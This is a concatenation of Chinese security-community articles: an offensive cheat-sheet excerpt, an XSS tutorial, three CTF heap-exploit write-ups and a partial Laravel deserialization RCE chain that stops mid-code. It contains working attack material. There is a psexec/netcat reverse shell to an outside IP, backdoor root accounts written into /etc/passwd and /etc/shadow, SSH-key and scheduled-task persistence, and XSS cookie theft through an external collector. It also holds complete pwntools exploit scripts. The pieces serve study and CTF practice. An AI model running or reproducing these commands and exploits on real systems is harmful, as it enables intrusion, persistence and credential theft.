netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
### RunAs
> runas是Microsoft
> Windows系列操作系统中的一个命令，允许用户以不同的用户名运行特定的工具和程序，以用于以交互方式登录计算机的用户名。它类似于Unix命令sudo和su，但Unix命令通常需要系统管理员事先配置才能为特定用户和/或命令工作。
#### powershell
# Requires PSRemoting
$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }
# without PSRemoting
cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))
# without PS Remoting, with arguments
cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"
#### CMD
# Requires interactive console
runas /user:userName cmd.exe
#### PsExec
psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe
#### Pth-WinExe
pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe
### 发现隐藏文件
dir /A:H /s "c:\program files"
### 常规的文件搜索操作
# Query the local db for a quick file find. Run updatedb before executing locate.
locate passwd
# Show which file would be executed in the current environment, depending on $PATH environment variable;
which nc wget curl php perl python netcat tftp telnet ftp
# Search for *.conf (case-insensitive) files recursively starting with /etc;
find /etc -iname *.conf
## 后渗透
### 注册表配置单元
hivesh /registry/file
[hivexsh - Windows注册表配置单元shell](http://libguestfs.org/hivexsh.1.html)
### 解密VNC的密码
wine vncpwdump.exe -k key
### 创建用户并添加到管理员组
net user wing wing /add & net localgroup Administrators spotless /add
Wingtips：在无回显的时候，添加失败可能是因为你的密码强度不符合密码策略。
### SSH keys
mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys
### Creating Backdoor
echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd
# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2
### 另外创建一个root用户
useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser
### OpenSSL Password
openssl passwd -1 password
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.
### 定时任务
# Launch evil.exe every 10 minutes
schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe
[原文链接](https://ired.team/offensive-security-experiments/offensive-security-cheetsheets#working-with-restricted-shells) | 社区文章 |
* * *
## Web安全系列 -- XSS前端漏洞
### 前言
这是渗透测试方面的第一课，我们跳过了社工技术的讲解，在之前的课程讲解中已经为大家介绍了社工技术的基本方法，对于社工，我们要做的就是足够细心和耐心，尽可能的收集可利用的信息，说起来很简单，但真正落到实际操作上就需要大家付出大量的时间和精力了。
### 前端漏洞
随着WEB应用越来越复杂，用户对WEB安全也越来越重视。再加上前端工程师的工作面已逐渐扩大，开始覆盖到各种业务逻辑，因此如何应对各种WEB安全问题就显得十分重要。现在危害比较大的前端漏洞主要有xss跨站脚本漏洞，csrf跨站请求伪造漏洞，网上大量的前端攻击行为都是基于这两种漏洞上形成的。今天我们就来介绍下xss漏洞。
### xss跨站脚本漏洞
**非持久型xss攻击**
：顾名思义，非持久型xss攻击是一次性的，仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接，用户访问该链接时，被植入的攻击脚本被用户游览器执行，从而达到攻击目的。
**持久型xss攻击** ：持久型xss，会把攻击者的数据存储在服务器端，攻击行为将伴随着攻击数据一直存在。
xss也可以分成三类：
**反射型** ：经过后端，不经过数据库
**存储型** ：经过后端，经过数据库
**DOM型** ：不经过后端，DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞，dom -xss是通过url传入参数去控制触发的。
#### 反射型xss
新建一个xss.php文件并加入以下代码：
\\XSS反射演示
<form action="" method="get">
<input type="text" name="xss"/>
<input type="submit" value="test"/>
</form>
<?php
$xss = @$_GET['xss'];
if($xss!==null){
echo $xss;
}
?>
这段代码中首先包含一个表单，用于向页面自己发送`GET`请求，带一个名为xss的参数。
然后PHP会读取该参数，如果不为空，则直接打印出来，这里不存在任何过滤。也就是说，如果xss中存在HTML结构性的内容，打印之后会直接解释为HTML元素。
部署好这个文件，访问`http://localhost/xss.php`，直接输入一个js代码，比如`<script>alert('hack')</script>`
之后点击test：
我们输入的HTML代码被执行了。用Firebug查看，我们输出的内容直接插入到了页面中，解释为<script>标签。</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/3.jpg" alt=""></p>
<p>反射型XSS的数据流向是：<code>浏览器</code> -> <code>后端</code> ->
<code>浏览器</code>。</p> <h4>存储型xss</h4> <p>把xss.php内容改为下述内容（同时数据库中需要配置相应的表）：</p>
<div class="highlight"><pre><span></span><span class="x">\\\存储XSS演示 </span>
<span class="x"><form action="" method="post">
</span> <span class="x"> <input type="text"
name="xss"/> </span> <span class="x"> <input
type="submit" value="test"/> </span> <span
class="x"></form> </span> <span class="cp"><?php</span> <span
class="nv">$xss</span><span class="o">=@</span><span
class="nv">$_POST</span><span class="p">[</span><span
class="s1">'xss'</span><span class="p">];</span> <span
class="nb">mysql_connect</span><span class="p">(</span><span
class="s2">"localhost"</span><span class="p">,</span><span
class="s2">"root"</span><span class="p">,</span><span
class="s2">"123"</span><span class="p">);</span> <span
class="nb">mysql_select_db</span><span class="p">(</span><span
class="s2">"xss"</span><span class="p">);</span> <span
class="k">if</span><span class="p">(</span><span class="nv">$xss</span><span
class="o">!==</span><span class="k">null</span><span class="p">){</span> <span
class="nv">$sql</span><span class="o">=</span><span class="s2">"insert
into temp(id,payload) values('1','</span><span
class="si">$xss</span><span class="s2">')"</span><span
class="p">;</span> <span class="nv">$result</span><span
class="o">=</span><span class="nb">mysql_query</span><span
class="p">(</span><span class="nv">$sql</span><span class="p">);</span> <span
class="k">echo</span> <span class="nv">$result</span><span class="p">;</span>
<span class="p">}</span> <span class="cp">?></span><span class="x"></span>
</pre></div> <p>用户输入的内容还是没有过滤，但是不直接显示在页面中，而是插入到了数据库。</p>
<p>新建show.php，内容为：</p> <div class="highlight"><pre><span></span><span
class="cp"><?php</span> <span class="nb">mysql_connect</span><span
class="p">(</span><span class="s2">"localhost"</span><span
class="p">,</span><span class="s2">"root"</span><span
class="p">,</span><span class="s2">"root"</span><span
class="p">);</span> <span class="nb">mysql_select_db</span><span
class="p">(</span><span class="s2">"xss"</span><span
class="p">);</span> <span class="nv">$sql</span><span class="o">=</span><span
class="s2">"select payload from temp where id=1"</span><span
class="p">;</span> <span class="nv">$result</span><span
class="o">=</span><span class="nb">mysql_query</span><span
class="p">(</span><span class="nv">$sql</span><span class="p">);</span> <span
class="k">while</span><span class="p">(</span><span
class="nv">$row</span><span class="o">=</span><span
class="nb">mysql_fetch_array</span><span class="p">(</span><span
class="nv">$result</span><span class="p">)){</span> <span
class="k">echo</span> <span class="nv">$row</span><span
class="p">[</span><span class="s1">'payload'</span><span
class="p">];</span> <span class="p">}</span> <span
class="cp">?></span><span class="x"></span> </pre></div>
<p>该代码从数据库读取了之前插入的内容，并将其显示出来。</p> <p>先创建一个数据库xss,创建temp表</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/4.jpg" alt=""></p>
<p>然后访问xss.php，像之前一样输入HTML代码</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/5.jpg" alt=""><br>
<img src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/7.jpg" alt=""></p>
<p>点击test，点击之后却发现没有任何动静，但事实上，我们的数据已经插入到了数据库中。</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/6.jpg" alt=""></p>
<p>当我们访问show.php查询这个值的时候，代码就会被执行。</p>
<p>存储型XSS的执行位置通常不同于输入位置。我们可以看出，存储行XSS的数据流向是：<br> <code>浏览器</code> ->
<code>后端</code> -> <code>数据库</code> -> <code>后端</code> ->
<code>浏览器</code>。</p> <h4>DOM型xss</h4> <p>把xss.php内容改为</p> <div
class="highlight"><pre><span></span><span class="cp"><?php</span> <span
class="nb">error_reporting</span><span class="p">(</span><span
class="mi">0</span><span class="p">);</span> <span class="c1">//禁用错误报告 </span>
<span class="nv">$name</span> <span class="o">=</span> <span
class="nv">$_GET</span><span class="p">[</span><span
class="s2">"name"</span><span class="p">];</span> <span
class="cp">?></span><span class="x"> </span> <span class="x"><input
id="text" type="text" value="</span><span
class="cp"><?php</span> <span class="k">echo</span> <span
class="nv">$name</span><span class="p">;</span><span
class="cp">?></span><span class="x">" /> </span> <span
class="x"><div id="print"></div> </span> <span
class="x"><script type="text/javascript"> </span> <span
class="x"> var text = document.getElementById("text"); </span> <span
class="x"> var print = document.getElementById("print"); </span>
<span class="x"> print.innerHTML = text.value; // 获取
text的值，并且输出在print内。这里是导致xss的主要原因。 </span> <span
class="x"></script></span> </pre></div> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/8.jpg" alt=""></p>
<p>DOM-XSS 的数据流向是：<code>URL</code> \--><code>浏览器</code></p> <h4>总结</h4>
<p>在易用上，存储型XSS > DOM - XSS > 反射型 XSS。</p> <blockquote><p>注：反射型xss和dom-xss都需要在数据包中加入js代码才能够触发。</p> </blockquote> <h3>漏洞利用</h3> <p>通过 XSS 来获得用户 Cookie
或其他有用信息，利用平台负责接收并保存这些信息。XSS利用平台有很多种如XSS Shell, BeEF, Anehta, CAL9000。</p>
<p>进入搭建好的xsser.me平台首页输入用户名与密码进行登录</p> <p>成功之后会显示主界面，左边是模块列表，右边是项目列表：</p>
<p><img src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/9.jpg" alt=""></p>
<p>我们点击左边“我的项目”旁边的“创建”按钮：</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/10.jpg"
alt=""></p> <p>名称和描述可以随便取，不影响使用。输入时候点击“下一步”按钮。之后会出现“配置代码”界面：</p> <p>1<a
href="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/11.jpg"></a></p>
<p>点击下一步、就会看到这个项目的一些信息</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/11.jpg"
alt=""><br> <img src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/12.jpg"
alt=""><br> <img src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/13.jpg"
alt=""></p> <p>点击完成。然后我们会在首页看到我们的新项目，点击这个项目：</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/14.jpg"
alt=""></p> <p>之后点击项目，进入一个页面再点击右上方的查看代码</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/15.jpg"
alt=""></p> <p>就可以看到使用方法：</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/16.jpg"
alt=""></p> <p>下面就演示下怎么利用</p> <p>把<code><script
src="..."></script></code>注入到反射型 XSS 的演示页面中。</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/17.jpg"
alt=""></p>
<p>上面的src="xxxx"是我另外创建的一个项目的地址，把你创建好的那个项目，提供的那个地址放进去，就可以了，虽然这个页面没反应，但是xsser.me那个项目就收到消息了。</p>
<p><img src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/18.jpg"
alt=""></p> <h3>测试方法</h3> <h4>工具测试</h4>
<p>工具方面主要介绍brutexss，工具简单但效果非常好，也可以加入自己累积的测试语句和绕过语句<br>
BruteXSS是一个非常强大和快速的跨站点脚本暴力注入。它用于暴力注入一个参数。该BruteXSS从指定的词库加载多种有效载荷进行注入并且使用指定的载荷和扫描检查这些参数很容易受到XSS漏洞。得益于非常强大的扫描功能。在执行任务时，
BruteXSS是非常准确而且极少误报。 BruteXSS支持POST和GET请求，适应现代Web应用程序。<br> 开始界面</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/19.jpg"
alt=""></p> <p>选择相应的数据提交方法，并输入测试的链接及相对就的参数</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/20.jpg"
alt=""></p> <p>接下来选择测试payload 就可以开始测试了，自动进行测试，并会输出对应漏洞内容；</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/21.jpg"
alt=""></p> <p>Payload可以自己去完善是这个工具的一大亮点</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/22.jpg"
alt=""><br> <img src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/23.jpg"
alt=""></p> <p>在以后的日子中发现了那种绕过的方法是工具中没有的只要把payload加入到列表中就可以了。</p> <h4>手工测试</h4>
<p>手工测试是一个复杂的过程，我们要针对页面返回的内容去构造，这个过程我们要用到神器burpsuit了，利用工具，我们来截断数据包进行对比分析吧。<br>
页面的效果是这样的</p> <p><img src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/24.jpg"
alt=""></p> <p>他的实际内容是这样的</p> <p><img
src="https://raw.githubusercontent.com/redBu1l/Redclub-Launch/master/%E6%94%BB%E9%98%B2%E7%AC%AC%E4%BA%94%E8%8A%82/25.jpg"
alt=""></p>
<p>我们手工就是要根据返回的内容去进行修改，如果对方闭合了<code>〈〉</code>或<code>‘‘</code>等符号我们要在里面进行修改，亦或是对方对语句中的某个点进行了限制，我们要进行绕过测试，找到他们禁用的值，这样我们才可以完成整个攻击行为。</p>
<h3>危害</h3> <p>由于能够在生成的 Web 页面中注入代码，能想到的威胁有多么严重，就可以有多么严重的威胁。攻击者可以使用 XSS 漏洞窃取
Cookie，劫持帐户，执行 ActiveX，执行 Flash 内容，强迫您下载软件，或者是对硬盘和数据采取操作。</p> <p>只要您点击了某些
URL，这一切便有可能发生。每天之中，在阅读来自留言板或新闻组的受信任的电子邮件的时侯，您会多少次地单击其中的 URL？</p> <p>网络钓鱼攻击通常利用
XSS
漏洞来装扮成合法站点。可以看到很多这样的情况，比如您的银行给你发来了一封电子邮件，向您告知对您的帐户进行了一些修改并诱使您点击某些超链接。如果仔细观察这些
URL，它们实际上可能利用了银行网站中存在的漏洞，它们的形式类似于
<code>http://mybank.com/somepage?redirect=<script>alert(‘XSS’)</script></code>，这里利用了“redirect”参数来执行攻击。</p>
<p>如果您足够狡猾的话，可以将管理员定为攻击目标，您可以发送一封具有如下主题的邮件：“求救！这个网站地址总是出现错误！”在管理员打开该 URL
后，便可以执行许多恶意操作，例如窃取他（或她）的凭证。</p> <p>好了，现在我们已经理解了它的危害性 --危害用户，危害管理员，给公司带来坏的公共形象。</p> </script> | 社区文章 |
## 0x01 littlenote
保护全开的堆利用程序，有add、show、delete功能，delete模块有UAF漏洞。
add: 只能申请size为0x71或0x31的堆块
show: 显示堆块内容
delete: 存在UAF
攻击思路：
1.利用UAF，删除堆块，再读取数据，泄漏heap地址
2.再次利用UAF漏洞，将fd指针篡改到某堆块中间，就能继续输入数据改写下一个相邻chunk的size，把size改大，然后free，就能使其进入unsortedbin，从而泄漏libc地址
3.第三次利用UAF做double free，向malloc_hook填入one_gadget地址
exp:
from pwn import *
env=os.environ
env['LD_PRELOAD']='./littlenote.so'
context.log_level='debug'
r=process('./littlenote')
def add(cont):
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('note')
r.send(cont)
r.recvuntil('?')
r.sendline('Y')
def add2(cont):
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('note')
r.send(cont)
r.recvuntil('?')
r.sendline('N')
def show(idx):
r.recvuntil('Your choice:')
r.sendline('2')
r.recvuntil('?')
r.sendline(str(idx))
def delete(idx):
r.recvuntil('Your choice:')
r.sendline('3')
r.recvuntil('?')
r.sendline(str(idx))
#use UAF to leak heap
add('0'*8)#0
add('1'*8)#1
add('2'*8)#2
add('3'*0x20)#3
add('4'*0x20)#4
delete(1)
delete(2)
show(2)
r.recv(1)
heap1=u64(r.recvline()[:-1].ljust(8,'\x00'))
print hex(heap1)
#fastbin double free,changing size to 0xe1 and leak libc
delete(1)
add(p64(heap1+0x40))#5
add('6'*0x60)#6
add('7'*0x38+p64(0x7f))#7
add('z'*0x20+p64(0)+p64(0xe1))#8
delete(6)
show(2)
r.recv(1)
leakl=u64(r.recvline()[:-1].ljust(8,'\x00'))
lbase=leakl-0x7ffff7dd1b78+0x7ffff7a0d000
one=lbase+0xf0274
mhk=leakl-0x68
#fastbin double free,changing __malloc_hook to one_shot
add('9'*0x20)#9
add('a'*0x20)#10
delete(9)
delete(10)
delete(9)
add(p64(mhk-0x23))#11
add('c'*0x60)#12
add('d'*0x38+p64(0x7f))#13
add('e'*0x13+p64(one))#14
print hex(leakl)
print hex(lbase)
print hex(one)
#trigger
delete(3)
delete(3)
#gdb.attach(r)
r.interactive()
* * *
## 0x02 bookstore
PIE和canary保护没有开启，有addbook、readbook、sellbook功能。
addbook:当readn的size=0时，会触发严重的堆溢出漏洞
readbook:
sellbook:
readn:当参数a2为0时，遇到’\n’才退出循环，可以写入超长字节，导致堆溢出
攻击思路：
1.利用溢出漏洞将下一个chunk size改大，再free，使其进入unsorted bin，从而泄露libc地址
2.进行house of orange攻击，即首先做unsortedbin attack，覆盖_IO_list_all，同时伪造old top
chunk位置的size=0x61，使其对应于smallbin[4]，再准备好’/bin/sh’字符串和新的vtable地址，这样，malloc报错时就能跳转到vtable，在执行系统内部流程的时候执行system(‘/bin/sh’)
exp：
from pwn import *
env=os.environ
env['LD_PRELOAD']='./bookstore.so'
context.log_level='debug'
r=process('./bookstore')
def add(author,size,cont):
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline(author)
r.recvuntil('How long is the book name?')
r.sendline(str(size))
r.recvuntil('What is the name of the book?')
r.sendline(cont)
def delete(idx):
r.recvuntil('Your choice:')
r.sendline('2')
r.recvuntil('?')
r.sendline(str(idx))
def show(idx):
r.recvuntil('Your choice:')
r.sendline('3')
r.recvuntil('?')
r.sendline(str(idx))
add('a'*0x10,0,'0'*0x10)#0
add('b'*0x10,0x40,'1'*0x10)#1
add('c'*0x10,0x40,'2'*0x10)#2
add('d'*0x10,0x40,'3'*0x10)#3
delete(0)
add('a'*0x10,0,'0'*0x18+p64(0xa1))#0
delete(1)
add('b',0,'1'*1)#1
show(1)
r.recvuntil('\x65\x3a')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print "lleak:"+hex(lleak)
lbase=lleak-0x7ffff7dd1c31+0x7ffff7a0d000
sys=lbase-0x7ffff7a0d000+0x7ffff7a52390
sh=lbase-0x7ffff7a0d000+0x7ffff7b99d17
iolistall=lbase-0x7ffff7a0d000+0x7ffff7dd2520
strjumps=lbase-0x7ffff7a0d000+0x7ffff7dd07a0
fire=p64(0)+p64(0x61)+p64(0)+p64(iolistall-0x10)+p64(0)+p64(1)+p64(0)+p64(sh)+p64(0)*19+p64(strjumps-8)
fire=fire.ljust(0xe8,'\x00')+p64(sys)
add('e',0,'\x00'*0x10+fire)#4
r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('What is the author name?')
r.sendline('test')
r.recvuntil('How long is the book name?')
r.sendline(str(0x40))
r.interactive()
* * *
## 0x03 myhouse
开启了NX和canary保护：
程序主要有两个漏洞：
1.可以向任意地址写一个字节’\x00’
2.owner和housen字段相连，如果输入末尾没有’\x00’，可以泄露堆地址
攻击思路：
1.原本考虑向_IO_buf_base写’\x00’，从而改写_IO_buf_end，在_IO_2_1_stdin_上做溢出，后来发现该题不满足条件，不能指向_IO_buf_end。于是考虑将main_arena的top指针最低字节改为’\x00’，指向堆的其他位置，同时在该位置构造0xffffffffffffffff的size，进行house
of
force攻击。首先malloc很大的堆块，例如0x200000，就能开辟mapped段，它与libc段的偏移是固定的，就能向main_arena的top写'\x00'
2.利用house of force把堆块分配到bss段，篡改desc等指针指向atoi函数的GOT表，泄露并篡改GOT表，最终获得shell
exp：
from pwn import *
env=os.environ
env['LD_PRELOAD']='./myhouse.so'
context.log_level='debug'
libc=ELF('./myhouse.so')
r=process('./myhouse')
def addroom(size):
r.recvuntil('Your choice:\n')
r.sendline('1')
r.recvuntil('What is the size of your room?')
r.sendline(str(size))
def editroom(cont):
r.recvuntil('Your choice:')
r.sendline('2')
r.recvuntil('shining!')
r.send(cont)
def show():
r.recvuntil('Your choice:')
r.sendline('3')
#step 1:write '\x00' to main_arena's top_chunk pointer and set top's size
r.recvuntil('name?')
r.send('a'*0x20)
r.recvuntil('name of your house?')
r.send('b'*0xf8+p64(0xffffffffffffffff))
r.recvuntil('size of your house?')
r.sendline(str(0x5c5b69))
r.recvuntil('Too large!')
r.sendline(str(0x200000))
r.recvuntil('Give me its description:')
r.send('c'*0x30)
#step 2:leak heap address
show()
r.recvuntil('a'*0x20)
heap=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "heap:"+hex(heap)
#step 3:house of force
bssp=0x6020c0
addroom(bssp-(heap+0xf0)-0x20)
addroom(0x60)
#step 4:leak GOT and change GOT
got_atoi=0x602058
editroom(p64(got_atoi)+p64(got_atoi))
show()
r.recvuntil('And description:\n')
atoi=u64(r.recvline()[:-1].ljust(8,'\x00'))
print "atoi:"+hex(atoi)
sys=atoi-libc.symbols['atoi']+libc.symbols['system']
editroom(p64(sys))
r.sendline('sh')
r.interactive() | 社区文章 |
# 环境搭建
* `composer create-project --prefer-dist laravel/laravel laravel58` 安装 Laravel 5.8 并生成 `laravel58` 项目
* 进入项目文件夹，使用 `php artisan serve` 启动 web 服务
* 在 `laravel58/routes/web.php` 文件添加路由
Route::get("/","\App\Http\Controllers\DemoController@demo");
* 在 `laravel58/app/Http/Controllers/` 下添加 `DemoController.php` 控制器
<?php
namespace App\Http\Controllers;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.8";
}
}
# 漏洞分析
* ph 牛的 payload : <https://github.com/ambionics/phpggc/pull/61>
* 从 `Illuminate\Broadcasting\PendingBroadcast` 类的 `__destruct` 方法开始的 pop 链
* `Illuminate\Broadcasting\PendingBroadcast` 中，`$events` 必须实现 `Dispatcher` 接口，这里选择的是 `Illuminate\Bus\Dispatcher`
public function __construct(Dispatcher $events, $event)
{
$this->event = $event;
$this->events = $events;
}
public function __destruct()
{
$this->events->dispatch($this->event);
}
* `Illuminate\Bus\Dispatcher` 中，调用 `dispatch` 方法，进入 `if` 判断，`$this->queueResolver` 是在实例化 `Illuminate\Bus\Dispatcher` 时的一个参数，它必须有值，`$command` 也就是 `$this->event` 必须实现 `ShouldQueue` 接口，这里选择的就是 `Illuminate\Broadcasting\BroadcastEvent`
// $command : $this->event
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
public function __construct(Container $container, Closure $queueResolver = null)
{
$this->container = $container;
$this->queueResolver = $queueResolver;
$this->pipeline = new Pipeline($container);
}
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
* 到这里，构造出的 exp :
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
}
?>
* 然后进入 `dispatchToQueue` 方法，存在 `call_user_func` 方法，其中的 `$this->queueResolver` 是可控的，这里利用的是 `Mockery\Loader\EvalLoader` 的 `load` 方法，即 `$this->queueResolver` 为 `array(new Mockery\Loader\EvalLoader(), "load")`
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}
* 这个点的意思就是
1. `$this->events` 调用 `dispatch` 传入参数 `$this->event` 后
2. 访问 `$this->events` 的 `queueResolver` 属性
3. 调用 `$this->events->commandShouldBeQueued($this->event)` 方法
4. 调用 `dispatchToQueue` 传入 `$this->event` 参数。其中的 `$connection` 为 `$this->event->connection` ，即 `Illuminate\Broadcasting\BroadcastEvent` 中的 `$connection` 属性
5. `call_user_func` 将 `$connection` 作为参数传给 `$this->queueResolver` 返回的函数
* 到这里，构造出的 exp 如下，已经实现 `call_user_func($this->queueResolver, $connection)` 即 `call_user_func($evilFunc, $evilCode)` ，接下来就要寻找一个可以利用的函数，这里选择的是 `Mockery\Loader\EvalLoader` ，继续跟进
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = $evilCode;
}
}
}
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
function __construct()
{
$this->queueResolver = $evilFunc;
}
}
}
* `Mockery\Loader\EvalLoader` 中有一个 `eval` 函数可以利用，这里的 `$definition` 是 `MockDefinition` 类的实例化对象，也就说明 `$this->event->connection` 是 `MockDefinition` 类的实例化对象。接下来就是绕过 `if` 判断。
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
* 跟进 `Mockery\Generator\MockDefinition` ，如果要绕过 `if` 判断，必须让 `getClassName` 返回一个不存在的类名，即 `$this->config->getName()` 返回一个不存在的类名。`$config` 为 `Mockery\Generator\MockConfiguration` 的实例化对象
class MockDefinition
{
protected $config;
protected $code;
public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
}
public function getConfig()
{
return $this->config;
}
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
* `Mockery\Generator\MockConfiguration` 中，让 `getName()` 返回一个不存在的类名，最终执行 `eval("?>" . $definition->getCode());` 实现 RCE
class MockConfiguration
{
protected $name;
public function getName()
{
return $this->name;
}
}
* 最终的 exp ，(ph 牛的 exp ) :
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}
class BroadcastEvent {
public $connection;
function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}
}
}
namespace Illuminate\Bus {
